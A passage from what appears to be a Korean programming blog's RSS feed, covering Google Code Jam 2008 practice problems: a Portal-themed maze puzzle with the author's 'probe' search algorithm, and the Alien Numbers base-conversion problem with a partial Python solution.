0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Case #3: THE CAKE IS A LIE</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Here is the sequence of moves for the first case (note that shooting the portal gun does not count as a move): </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Move one step east.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Shoot a blue portal north.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Shoot a yellow portal south.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Move one step north through the blue portal.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Shoot a blue portal east.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Move one step south through the yellow portal.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Move one step west.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Eat your delicious and moist cake.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">PortalTM is a trademark of Valve Inc. Valve Inc. does not endorse and has no involvement with Google Code Jam.</span></span></p><p><br><br>-------&gt;&gt;&gt;&gt;&gt;풀이&nbsp;in Korean&lt;&lt;&lt;&lt;&lt;&lt;-----------<br>우선 미로찾는 알고리즘을 간단히 생각해 보았다. <br>이름하여 프로브 알고리즘.<br><br><strong>전제</strong>:프로브는&nbsp;자기가 지나온 길의 중요포인트(시작,끝,코너) 및 전체 코너의 수와 전체이동거리를 기억한다. 자기자신을 무한히 복사할 수 있다.(기억한거 포함) - (클래스로 구현하면 될듯)<br>맵을 읽어들인 배열이 있다.<br><br><strong>미로찾기 알고리즘: 프로브알고리즘&nbsp;by Carlo</strong><br>스텝1:시작점에 프로브를 만든다.<br>스텝2:모든프로브는 새로운길이 2개이상일 경우 자기자신을 하나이상 복사하여 (어떠한방향으로)한칸 전진한다.<br>스텝3:모든프로브의 생과사를 점검한다.&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1:충돌상황 점검: 생존의 우선순위 -- 적은전체거리&gt;적은코너&gt;컴퓨터저장상위랭크<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2:생존 프로브수: 0 이면 실패<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3:끝점에 도착한프로브? 있으면 성공<br>스텝4:Go to&nbsp;스텝2<br><br><strong>포탈사용 알고리즘:&nbsp;포탈가속화알고리즘 by Carlo</strong><br>전제:생존프로브는 중요 포인트, 전체 거리, 전체 코너수를 기억하고 있다. <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Sum=0, N=0<br>스텝1:메모리에 기억하고있는&nbsp;N,N+1번째 포인트 사의의 거리와&nbsp;N,N+1번째 포인의 이동방향의 각각의 벽방향과의 거리의 합((N쪽벽과 N사이의거리)+ (N+1쪽벽과 N+1사이의 거리))과 비교하여 작은쪽으로 Sum에 더한다.<br>스텝2:if N+1== 전체코너+ 2 끝<br>스텝3:N++ Go to step1<br><br><br>-------&gt;&gt;&gt;&gt;&gt;Solution in English&lt;&lt;&lt;&lt;&lt;-----------<br>First, I thought about sution of maze.&nbsp;<br>I call&nbsp;Probe Algorithm;<br><br><strong>PREMISE</strong>:Probe can remember the past points which are star,end,corners, the number of total distance and the number of total corners.&nbsp;It can make ones which are the&nbsp;same&nbsp;of its with&nbsp;memory&nbsp;<br>there is an array of the maze map.<br><br><strong>Maze Algorithm: Probe Algorithm by Carlo</strong><br>Step1:Make the first probe at the start point.<br>Step2:All the probe make one more probes if there are two more new ways to go to the empty block and go&nbsp;one foot each direction.<br>Step3:Check all the probes to survive .&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1:Check collision:&nbsp;Priority -- Shotest distance&gt;Least Corner&gt;High position in&nbsp;computer memory<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2:Check the number of probes&nbsp;: if n = 0&nbsp;, failure<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3:Check the probe at the end point P if there is, success<br>Step4:Go to&nbsp;Step 2<br><br><strong>Portal Algorithm:&nbsp;Simple Portal Algorithm&nbsp;by Carlo</strong><br><strong>PREMISE</strong>:there is a probe which has the informaion. <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : Sum=0, N=0<br>Step1:Sum += min(distance&nbsp;between N's point and N+1's point,&nbsp; distance between N's point and opposit direction's wall&nbsp;+ N+1's)<br>Step2:if N+1== total corner+ 2 : end<br>Step3:N++ Go to step1<br><br>---------------------&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;Analysis&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-----------------------------<br>&nbsp;I'm worried about the overload of the probe algorithm<br>so, I had to estimate the algorithm <br><br><strong>PREMISE</strong>: there&nbsp;is R*C maze.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; there are two points,like&nbsp;start and end points.<br>The number of probes: N is a positive number<br><br><em>1&lt;N&lt;2root2*min(R,C)<br></em><br><strong>Speed</strong>: It must check all the probes per step.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The number of the steps is R*C in simple thoutht<em><br></em><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There is no point in counting the number.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Because&nbsp;probes and maps&nbsp;are limited&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><em>&nbsp;2root2*min(R,C)*R*C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= n&nbsp;</em>&nbsp;&nbsp; <br><br><br><br>--------------------&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;구현 Implement&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;----------------------------<br>구현은 나중에 시간이 있을 때 ^^ ( 변명인가);;<br>이번건 자바가 편할 것 같다..;; <br><br>----------------------------------------------------------------------------------------------<br>읽어 주셔서 감사 ^^ 잘못된것을 발견하면 지채없어..&nbsp;댓글 부탁..<br>추석이&nbsp;어제 지났지만 <br><br>&nbsp;<br>----------------------------------------------------------------------------------------------<br></p>			 ]]> 
		</description>
		<category>미분류</category>

		<comments>http://univac.egloos.com/2023946#comments</comments>
		<pubDate>Mon, 15 Sep 2008 02:25:50 GMT</pubDate>
		<dc:creator>PigBaby</dc:creator>
	</item>
	<item>
		<title><![CDATA[ [2008 GCJ] Practice - Alien Numbers ]]> </title>
		<link>http://univac.egloos.com/1924398</link>
		<guid>http://univac.egloos.com/1924398</guid>
		<description>
			<![CDATA[ 
  <p class="problem-item" style="BACKGROUND: white; MARGIN: 24pt 72pt 5pt 0cm; VERTICAL-ALIGN: top"><span lang="EN-US" style="COLOR: black; FONT-FAMILY: Arial"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p><span style="FONT-SIZE: 130%"><span style="FONT-SIZE: 100%"><span style="FONT-SIZE: 85%">다음은 구글의 코드쨈 연습문제 및 간단;;한 풀이입니다.</span></span> <br><br></span></o:p></span></p><p style="BACKGROUND: white; VERTICAL-ALIGN: top">&nbsp;</p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; tab-stops: 184.5pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Problem<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; tab-stops: 184.5pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; tab-stops: 184.5pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">The decimal numeral system is composed of ten digits, which we represent as "0123456789" (the digits in a system are written from lowest to highest). Imagine you have discovered an alien numeral system composed of some number of digits, which may or may not be the same as those used in decimal. For example, if the alien numeral system were represented as "oF8", then the numbers one through ten would be (F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF). We would like to be able to work with numbers in arbitrary alien systems. More generally, we want to be able to convert an arbitrary number that's written in one alien system into a second alien system.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; tab-stops: 184.5pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; tab-stops: 184.5pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Input<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; tab-stops: 184.5pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; tab-stops: 184.5pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">The first line of input gives the number of cases, N. N test cases follow. Each case is a line formatted as</span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; tab-stops: 184.5pt" align="center"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">alien_number source_language target_language</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Each language will be represented by a list of its digits, ordered from lowest to highest value. No digit will be repeated in any representation, all digits in the alien number will be present in the source language, and the first digit of the alien number will not be the lowest valued digit of the source language (in other words, the alien numbers have no leading zeroes). Each digit will either be a number 0-9, an uppercase or lowercase letter, or one of the following symbols !"#$%&amp;'()*+,-./:;&lt;=&gt;?@[\]^_`{|}~ </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Output<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">For each test case, output one line containing "Case #x: " followed by the alien number translated from the source language to the target language.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Limits<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">1 ≤ N ≤ 100. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Small dataset<o:p></o:p></span></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">1 ≤ num digits in alien_number ≤ 4,</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">2 ≤ num digits in source_language ≤ 16,</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">2 ≤ num digits in target_language ≤ 16. </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Large dataset<o:p></o:p></span></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">1 ≤ alien_number (in decimal) ≤ 1000000000,</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">2 ≤ num digits in source_language ≤ 94,</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">2 ≤ num digits in target_language ≤ 94. <br></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><br><strong>Sample</strong>&nbsp;<br><br></span></o:p></span></p><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕"><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Input&nbsp;<span style="mso-tab-count: 5">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Output <o:p></o:p></span></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">4<span style="mso-tab-count: 5">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Case #1: Foo<o:p></o:p></span></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">9 0123456789 oF8<span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Case #2: 9<o:p></o:p></span></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Foo oF8 0123456789<span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Case #3: 10011<o:p></o:p></span></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">13 0123456789abcdef 01<span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Case #4: JAM!<o:p></o:p></span></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">CODE O!CDE? A?JM!.</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">&nbsp;</span></o:p></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span style="FONT-SIZE: 100%"><span lang="EN-US" style="FONT-FAMILY: 'Times New Roman'; mso-ascii-font-family: 바탕">————————————————————————————————————————</span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Answer<o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">오랜만에 머리 좀 굴릴려고 하니 ㅠㅠ<span lang="EN-US">. 분명히 연습문제라고 써있어서 연습 해볼려고 했다.</span></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">왜 왜왜 난 반나절이나 걸린걸까<span lang="EN-US">.. 영어로 씌여져 있어서 그런가 ㅠㅠ<o:p></o:p></span></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><b style="mso-bidi-font-weight: normal"><span lang="EN-US"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">Argorithm <o:p></o:p></span></span></span></b></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 23.25pt; TEXT-INDENT: -18pt; tab-stops: list 23.25pt; mso-list: l0 level1 lfo1"><span lang="EN-US" style="mso-bidi-font-family: 바탕"><span style="mso-list: Ignore"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">1.</span><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Convert alien_num made in source_lan into decimal_num</span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 23.25pt; TEXT-INDENT: -18pt; tab-stops: list 23.25pt; mso-list: l0 level1 lfo1"><span lang="EN-US" style="mso-bidi-font-family: 바탕"><span style="mso-list: Ignore"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">2.</span><span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span></span><span lang="EN-US"><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">Convert decimal_num into destination_lan </span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="FONT-SIZE: 100%"><span style="FONT-FAMILY: 바탕">요센 초등학교 때 배운다던 진법 문제를 반나절이나 걸려서 완성하다니 반성해본다<span lang="EN-US">. </span></span></span></p><p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span lang="EN-US"><o:p><span style="FONT-SIZE: 100%; FONT-FAMILY: 바탕">&nbsp;</span></o:p></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">import sys<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">def alien2dec_letter(alien_lan,alien_letter) :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">&nbsp;&nbsp;&nbsp; i = 0<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;</span>for c in alien_lan :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>if alien_lan[i] == alien_letter :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 4">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>return i<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>i += 1<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>return -1<span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">def alien2dec(alien_lan,alien_num) :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">&nbsp;&nbsp;&nbsp; n = 0<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;</span>i = 1<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;</span>for c in alien_num :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>n += alien2dec_letter(alien_lan,c) * ( len(alien_lan) ** (len(alien_num)-i) )<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>i += 1<span style="mso-spacerun: yes">&nbsp;&nbsp; </span><o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕"><span style="mso-tab-count: 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>return n<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">def toggle_string(src) :<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 0cm 0cm 0pt"><span lang="EN-US" style="FONT-SIZE: 8pt"><span style="FONT-FAMILY: 바탕">&nbsp;&nbsp;&nbsp; dst = str()<o:p></o:p></span></span></p><p class="MsoNormal" style="BACKGROUND: #ccffcc; MARGIN: 